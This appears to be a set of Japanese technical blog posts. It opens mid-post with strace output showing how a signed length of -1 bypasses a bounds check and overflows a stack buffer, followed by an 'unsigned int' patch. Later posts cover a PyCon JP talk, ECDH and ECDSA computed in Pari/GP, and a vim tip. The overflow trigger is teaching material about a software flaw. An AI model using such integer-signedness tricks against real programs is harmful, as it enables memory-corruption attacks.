mmap(0x7f5d7271c000, 17088, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f5d7271c000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d72936000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d72934000
arch_prctl(ARCH_SET_FS, 0x7f5d72934740) = 0
mprotect(0x7f5d72716000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ)     = 0
mprotect(0x7f5d72943000, 4096, PROT_READ) = 0
munmap(0x7f5d72937000, 37010)           = 0
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d72940000
read(0, -1
"-1\n", 1024)                   = 3
read(0, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4294967295) = 49
open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = 3
writev(3, [{"*** ", 4}, {"stack smashing detected", 23}, {" ***: ", 6}, {"./a.out", 7}, {" terminated\n", 12}], 5*** stack smashing detected ***: ./a.out terminated
) = 52
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d7293f000
rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
gettid()                                = 4558
tgkill(4558, 4558, SIGABRT)             = 0
--- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=4558, si_uid=1000} ---
+++ killed by SIGABRT (core dumped) +++
Aborted (core dumped)

straceコマンドの結果から、チェックを通過した-1がread関数では符号なし整数4294967295として扱われていることがわかる。

これを防ぐには、最初から符号なし整数として宣言すればよい。

--- signedness_error.c  2016-09-27 15:50:22.524312000 +0900
+++ patched/signedness_error.c  2016-09-27 15:50:51.888312000 +0900
@@ -5,7 +5,7 @@
 int main()
 {
     char buf[40];
-    int n;
+    unsigned int n;

     scanf("%d", &n);
     if (n > 40) {

関連リンク

「HTTPプロクシライブラリproxy2の設計と実装」というタイトルで発表した

Talks

PyCon JP 2016で以前作ったPython製HTTPプロクシライブラリについて発表した。

きちんとPython 3対応にした状態で発表できなかったのが少し心残りではあるが、以前の発表であまり触れられなかった実装面のあれこれについてまとめることができてよかった。 また、Accept-Encodingの扱いが雑で、うまくいかないケースが出てきていることに気づけたという点でも、よい機会だった。

スタッフ、参加者の方とも交流することができ、楽しいイベントでした。 PyCon JPスタッフのみなさま、ありがとうございました。

Pari/GPでECDH鍵交換、ECDSA署名をやってみる

Crypto

TLS 1.2では、楕円曲線暗号であるECDH鍵交換、ECDSA署名を使うことができる。 ここでは、数式処理システムPari/GPを使ってこれらの計算をやってみる。

環境

Ubuntu 14.04.4 LTS 64bit版、Pari/GP 2.5.5

$ uname -a
Linux vm-ubuntu64 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.4 LTS
Release:        14.04
Codename:       trusty

$ gp --version-short
2.5.5

ECDH、ECDSAが使われている通信を見てみる

一例として、GoogleへのTLS通信では現時点でECDH、ECDSAが使われている。 実際に通信をWiresharkで確認した結果を次に示す。

Frame 31: 1294 bytes on wire (10352 bits), 1294 bytes captured (10352 bits) on interface 0
(snip)
Secure Sockets Layer
    TLSv1.2 Record Layer: Handshake Protocol: Server Hello
        Content Type: Handshake (22)
        Version: TLS 1.2 (0x0303)
        Length: 76
        Handshake Protocol: Server Hello
            Handshake Type: Server Hello (2)
            Length: 72
            Version: TLS 1.2 (0x0303)
            Random
            Session ID Length: 0
            Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
            Compression Method: null (0)
            Extensions Length: 32
            Extension: renegotiation_info
            Extension: server_name
            Extension: Extended Master Secret
            Extension: SessionTicket TLS
            Extension: Application Layer Protocol Negotiation
            Extension: ec_point_formats

Frame 35: 401 bytes on wire (3208 bits), 401 bytes captured (3208 bits) on interface 0
(snip)
Secure Sockets Layer
    TLSv1.2 Record Layer: Handshake Protocol: Certificate
        Content Type: Handshake (22)
        Version: TLS 1.2 (0x0303)
        Length: 3739
        Handshake Protocol: Certificate
            Handshake Type: Certificate (11)
            Length: 3735
            Certificates Length: 3732
            Certificates (3732 bytes)
                Certificate Length: 1814
                Certificate: 30820712308205faa00302010202082e7dfcf07569326730... (id-at-commonName=*.google.com,id-at-organizationName=Google Inc,id-at-localityName=Mountain View,id-at-stateOrProvinceName=California,id-at-countryName=US)
                    signedCertificate
                        version: v3 (2)
                        serialNumber: 3350111807525696103
                        signature (sha256WithRSAEncryption)
                        issuer: rdnSequence (0)
                        validity
                        subject: rdnSequence (0)
                        subjectPublicKeyInfo
                            algorithm (id-ecPublicKey)
                                Algorithm Id: 1.2.840.10045.2.1 (id-ecPublicKey)
                                ECParameters: namedCurve (0)
                                    namedCurve: 1.2.840.10045.3.1.7 (secp256r1)
                            Padding: 0
                            subjectPublicKey: 041094b0ae65b5baa7e408de4694ca8fcb7275db3a2c3722...
                        extensions: 9 items
                    algorithmIdentifier (sha256WithRSAEncryption)
                    Padding: 0
                    encrypted: 35bb7787aa57a4981d93b867e05e1e04c7030d051803f818...
                Certificate Length: 1012
                Certificate: 308203f0308202d8a0030201020203023a92300d06092a86... (id-at-commonName=Google Internet Authority G2,id-at-organizationName=Google Inc,id-at-countryName=US)
                Certificate Length: 897
                Certificate: 3082037d308202e6a003020102020312bbe6300d06092a86... (id-at-commonName=GeoTrust Global CA,id-at-organizationName=GeoTrust Inc.,id-at-countryName=US)
Secure Sockets Layer
    TLSv1.2 Record Layer: Handshake Protocol: Server Key Exchange
        Content Type: Handshake (22)
        Version: TLS 1.2 (0x0303)
        Length: 148
        Handshake Protocol: Server Key Exchange
            Handshake Type: Server Key Exchange (12)
            Length: 144
            EC Diffie-Hellman Server Params
                Curve Type: named_curve (0x03)
                Named Curve: secp256r1 (0x0017)
                Pubkey Length: 65
                Pubkey: 0480168e3311d4762dad286445c3bafd6f884e14720c882f...
                Signature Hash Algorithm: 0x0603
                    Signature Hash Algorithm Hash: SHA512 (6)
                    Signature Hash Algorithm Signature: ECDSA (3)
                Signature Length: 71
                Signature: 3045022100f0e6e6cfe84c316f6a3b0a66e7250c4610f3e8...
    TLSv1.2 Record Layer: Handshake Protocol: Server Hello Done

Frame 47: 200 bytes on wire (1600 bits), 200 bytes captured (1600 bits) on interface 0
(snip)
Secure Sockets Layer
    TLSv1.2 Record Layer: Handshake Protocol: Client Key Exchange
        Content Type: Handshake (22)
        Version: TLS 1.2 (0x0303)
        Length: 70
        Handshake Protocol: Client Key Exchange
            Handshake Type: Client Key Exchange (16)
            Length: 66
            EC Diffie-Hellman Client Params
                Pubkey Length: 65
                Pubkey: 0450324b47117a7e0b967e798b9ce8e4147439e403d36191...
    TLSv1.2 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec
    TLSv1.2 Record Layer: Handshake Protocol: Multiple Handshake Messages

上の結果から、CipherSuiteとしてTLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256が選ばれていることがわかる。 そして、サーバ証明書には楕円曲線パラメータsecp256r1でのECDSA用公開鍵が記されており、secp256r1でのECDH用公開鍵がECDSAで署名されていることがわかる。

なお、RFC 4492ではECDHE_ECDSAを用いる場合、サーバ証明書もECDSAで署名されていなければならない（MUST）と記されているが、上の結果ではRSAで署名されているようである。

Pari/GPのインストール

楕円曲線暗号は、ざっくり言うと、素数pを法とする楕円曲線上で定義された定数倍の逆演算が計算量的に困難であること（楕円曲線上の離散対数問題）をもとにした暗号の総称である。 すなわち、ある点Pをd倍した点Qは計算できるが、定数dと点Qから点Pを逆算することが困難であるという性質をもとにしたものである。 RSA暗号において有限体上でe乗した値の逆算が困難であること（離散対数問題）を、楕円曲線上での演算に置き換えたものと考えてもよい。 楕円曲線上で定義された演算の詳細については、Wikipedia等を参照されたい。

楕円曲線上での演算を行うために、ここでは数式処理システムPari/GPを用いることにする。 Pari/GPは次のようにしてインストールできる。

$ sudo apt-get install pari-gp

ECDH鍵交換をやってみる

ECDH鍵交換は、有限体上でのDiffee-Hellman鍵交換を楕円曲線上の演算に置き換えたものである。 Wikipediaを参考に、楕円曲線パラメータsecp256r1で定義される楕円曲線上でのECDH鍵交換を計算してみると次のようになる。

\\ http://pari.math.u-bordeaux.fr/faq.html#hexa
hextodec(s) =
{ my(v=Vec(s), a=10,b=11,c=12,d=13,e=14,f=15,
               A=10,B=11,C=12,D=13,E=14,F=15, h);

  for(i=1,#v,h = (h<<4) + eval(v[i])); h;
}

\\ secp256r1 parameters
\\ http://www.secg.org/sec1-v2.pdf
\\ http://www.secg.org/sec2-v2.pdf
p = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF")
a = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC")
b = hextodec("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B")
Gx = hextodec("6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296")
Gy = hextodec("4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")
G = [Gx, Gy]
n = hextodec("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551")

\\ secp256r1 curve
E = ellinit([0, 0, 0, a, b] * Mod(1, p))
\\ secret key
da = random(n)
db = random(n)
\\ public key
Qa = ellpow(E, G, da)
Qb = ellpow(E, G, db)

\\ calculate shared secret
Xa = lift(ellpow(E, Qb, da))[1]
Xb = lift(ellpow(E, Qa, db))[1]
Xa == Xb

上のコードでは、AとBが互いの公開鍵Qa、Qbを交換し、それぞれの秘密鍵と掛け合わせることで共通鍵Xa == Xbを計算している。 ここで、lift関数はMod(a,b) => aを求める関数である。

実際に実行すると、次のようになる。

$ gp -q
? \\ http://pari.math.u-bordeaux.fr/faq.html#hexa
? hextodec(s) =
{ my(v=Vec(s), a=10,b=11,c=12,d=13,e=14,f=15,
               A=10,B=11,C=12,D=13,E=14,F=15, h);

  for(i=1,#v,h = (h<<4) + eval(v[i])); h;
}
?
? \\ secp256r1 parameters
? \\ http://www.secg.org/sec1-v2.pdf
? \\ http://www.secg.org/sec2-v2.pdf
? p = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF")
115792089210356248762697446949407573530086143415290314195533631308867097853951
? a = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC")
115792089210356248762697446949407573530086143415290314195533631308867097853948
? b = hextodec("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B")
41058363725152142129326129780047268409114441015993725554835256314039467401291
? Gx = hextodec("6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296")
48439561293906451759052585252797914202762949526041747995844080717082404635286
? Gy = hextodec("4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")
36134250956749795798585127919587881956611106672985015071877198253568414405109
? G = [Gx, Gy]
[48439561293906451759052585252797914202762949526041747995844080717082404635286, 36134250956749795798585127919587881956611106672985015071877198253568414405109]
? n = hextodec("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551")
115792089210356248762697446949407573529996955224135760342422259061068512044369
?
? \\ secp256r1 curve
? E = ellinit([0, 0, 0, a, b] * Mod(1, p))
[Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853948, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(41058363725152142129326129780047268409114441015993725554835256314039467401291, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853945, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(48441365690252319754607072170781500106371620648684588023807393947290771751213, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853942, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(144, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(73745129047917570410340083507285168261568990675547578651163356492099206447533, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(47064476442213300654454205837611899485069387829947879813735601543372794627813, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(7958909377132088453074743217357398615041065282494610304372115906626967530147, 115792089210356248762697446949407573530086143415290314195533631308867097853951), 0, 0, 0, 0, 0, 0]
? \\ secret key
? da = random(n)
41624337018869194729192205381537838788846303834619688597471765238035829032504
? db = random(n)
112889434785065900135211481371037383646282385554418514861667765615237067913479
? \\ public key
? Qa = ellpow(E, G, da)
[Mod(66427298351632458827230541581873808673432665230371912577791853634759425959558, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(1206785862317786198788010821239105192836149114902459754806002568469592604088, 115792089210356248762697446949407573530086143415290314195533631308867097853951)]
? Qb = ellpow(E, G, db)
[Mod(45117477251749228939119226983445827678526666004268395927426481263854185200718, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(40767119766631682297642348857294685404708822382670655743751860183794421610264, 115792089210356248762697446949407573530086143415290314195533631308867097853951)]
?
? \\ calculate shared secret
? Xa = lift(ellpow(E, Qb, da))[1]
55382482432028264043275192986018530076536941443548819581226267882802812179275
? Xb = lift(ellpow(E, Qa, db))[1]
55382482432028264043275192986018530076536941443548819581226267882802812179275
? Xa == Xb
1

XaとXbが同じ値となり、共通鍵を共有できていることが確認できる。

ECDSA署名をやってみる

ECDSA署名は、有限体上でのDSA署名を楕円曲線上の演算に置き換えたものである。 Wikipediaを参考に、楕円曲線パラメータsecp256r1で定義される楕円曲線上でのECDSA署名を計算してみると次のようになる。

\\ http://pari.math.u-bordeaux.fr/faq.html#hexa
hextodec(s) =
{ my(v=Vec(s), a=10,b=11,c=12,d=13,e=14,f=15,
               A=10,B=11,C=12,D=13,E=14,F=15, h);

  for(i=1,#v,h = (h<<4) + eval(v[i])); h;
}

\\ secp256r1 parameters
\\ http://www.secg.org/sec1-v2.pdf
\\ http://www.secg.org/sec2-v2.pdf
p = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF")
a = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC")
b = hextodec("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B")
Gx = hextodec("6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296")
Gy = hextodec("4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")
G = [Gx, Gy]
n = hextodec("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551")

\\ secp256r1 curve
E = ellinit([0, 0, 0, a, b] * Mod(1, p))
\\ secret key
d = random(n)
\\ public key
Q = ellpow(E, G, d)

\\ SHA-512 hash value
z = hextodec("cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e")
z = z >> 256  \\ leftmost 256 bits

\\ sign
k = random(n)
X = lift(ellpow(E, G, k))
r = Mod(X[1], n)
s = Mod((z + r * d)/k, n)
S = lift([r, s])  \\ signature

\\ verify
r = S[1]
s = S[2]
w = Mod(1, n)/s
u1 = lift(z * w)
u2 = lift(r * w)
X = elladd(E, ellpow(E, G, u1), ellpow(E, Q, u2))
r == lift(X[1])  \\ verification result

上のコードでは、秘密鍵dと公開鍵Qの組を用いて、dでSHA-512ハッシュ値zに対する署名Sを生成した後、zとQでこの署名Sの検証を行っている。 ここで、SHA-512ハッシュ値は512bitであるが、署名を計算する際には上位256bit（楕円曲線パラメータのnのbit数）が取り出されて用いられる。

実際に実行すると、次のようになる。

$ gp -q
? \\ http://pari.math.u-bordeaux.fr/faq.html#hexa
? hextodec(s) =
{ my(v=Vec(s), a=10,b=11,c=12,d=13,e=14,f=15,
               A=10,B=11,C=12,D=13,E=14,F=15, h);

  for(i=1,#v,h = (h<<4) + eval(v[i])); h;
}
?
? \\ secp256r1 parameters
? \\ http://www.secg.org/sec1-v2.pdf
? \\ http://www.secg.org/sec2-v2.pdf
? p = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF")
115792089210356248762697446949407573530086143415290314195533631308867097853951
? a = hextodec("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC")
115792089210356248762697446949407573530086143415290314195533631308867097853948
? b = hextodec("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B")
41058363725152142129326129780047268409114441015993725554835256314039467401291
? Gx = hextodec("6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296")
48439561293906451759052585252797914202762949526041747995844080717082404635286
? Gy = hextodec("4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")
36134250956749795798585127919587881956611106672985015071877198253568414405109
? G = [Gx, Gy]
[48439561293906451759052585252797914202762949526041747995844080717082404635286, 36134250956749795798585127919587881956611106672985015071877198253568414405109]
? n = hextodec("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551")
115792089210356248762697446949407573529996955224135760342422259061068512044369
?
? \\ secp256r1 curve
? E = ellinit([0, 0, 0, a, b] * Mod(1, p))
[Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853948, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(41058363725152142129326129780047268409114441015993725554835256314039467401291, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(0, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853945, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(48441365690252319754607072170781500106371620648684588023807393947290771751213, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(115792089210356248762697446949407573530086143415290314195533631308867097853942, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(144, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(73745129047917570410340083507285168261568990675547578651163356492099206447533, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(47064476442213300654454205837611899485069387829947879813735601543372794627813, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(7958909377132088453074743217357398615041065282494610304372115906626967530147, 115792089210356248762697446949407573530086143415290314195533631308867097853951), 0, 0, 0, 0, 0, 0]
? \\ secret key
? d = random(n)
41624337018869194729192205381537838788846303834619688597471765238035829032504
? \\ public key
? Q = ellpow(E, G, d)
[Mod(66427298351632458827230541581873808673432665230371912577791853634759425959558, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(1206785862317786198788010821239105192836149114902459754806002568469592604088, 115792089210356248762697446949407573530086143415290314195533631308867097853951)]
?
? \\ SHA-512 hash value
? z = hextodec("cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e")
10868450558671247443152026947160338505683745266658651051718065983487878962987857602829315249215796444208488632888003673539585986066311769564391053988452926
? z = z >> 256  \\ leftmost 256 bits
93861770957395276492717477787726143810336548400896766194917568669650606942670
?
? \\ sign
? k = random(n)
112889434785065900135211481371037383646282385554418514861667765615237067913479
? X = lift(ellpow(E, G, k))
[45117477251749228939119226983445827678526666004268395927426481263854185200718, 40767119766631682297642348857294685404708822382670655743751860183794421610264]
? r = Mod(X[1], n)
Mod(45117477251749228939119226983445827678526666004268395927426481263854185200718, 115792089210356248762697446949407573529996955224135760342422259061068512044369)
? s = Mod((z + r * d)/k, n)
Mod(19480684571390165669037418791352587666543987715102909683921619662453630129808, 115792089210356248762697446949407573529996955224135760342422259061068512044369)
? S = lift([r, s])  \\ signature
[45117477251749228939119226983445827678526666004268395927426481263854185200718, 19480684571390165669037418791352587666543987715102909683921619662453630129808]
?
? \\ verify
? r = S[1]
45117477251749228939119226983445827678526666004268395927426481263854185200718
? s = S[2]
19480684571390165669037418791352587666543987715102909683921619662453630129808
? w = Mod(1, n)/s
Mod(45806731425320108599593801776916401592588010577151454492237521859734605583062, 115792089210356248762697446949407573529996955224135760342422259061068512044369)
? u1 = lift(z * w)
2526355770588513432897987911358560530387299975513306266181348358497798666960
? u2 = lift(r * w)
39403108001448584892010322851840404729316330706803748468373485665520707319225
? X = elladd(E, ellpow(E, G, u1), ellpow(E, Q, u2))
[Mod(45117477251749228939119226983445827678526666004268395927426481263854185200718, 115792089210356248762697446949407573530086143415290314195533631308867097853951), Mod(40767119766631682297642348857294685404708822382670655743751860183794421610264, 115792089210356248762697446949407573530086143415290314195533631308867097853951)]
? r == lift(X[1])  \\ verification result
1

上の結果から、秘密鍵dで計算されたハッシュ値zに対する署名Sを、zと公開鍵Qで検証できていることが確認できる。

関連リンク

vim-tinyで矩形挿入・削除する方法のメモ

viコマンドとして標準でインストールされていることが多いvim-tinyにて、コメントアウトや複数行のインデントに便利なコマンドのメモ。

矩形挿入

C-vして矩形選択し、Iを押して文字列を入力した後Esc。 反映されるまでに若干のタイムラグがある。 なお、スペース4文字の場合はIの代わりに4I<Space>でもよい。

矩形削除

C-vして矩形選択し、x。

関連リンク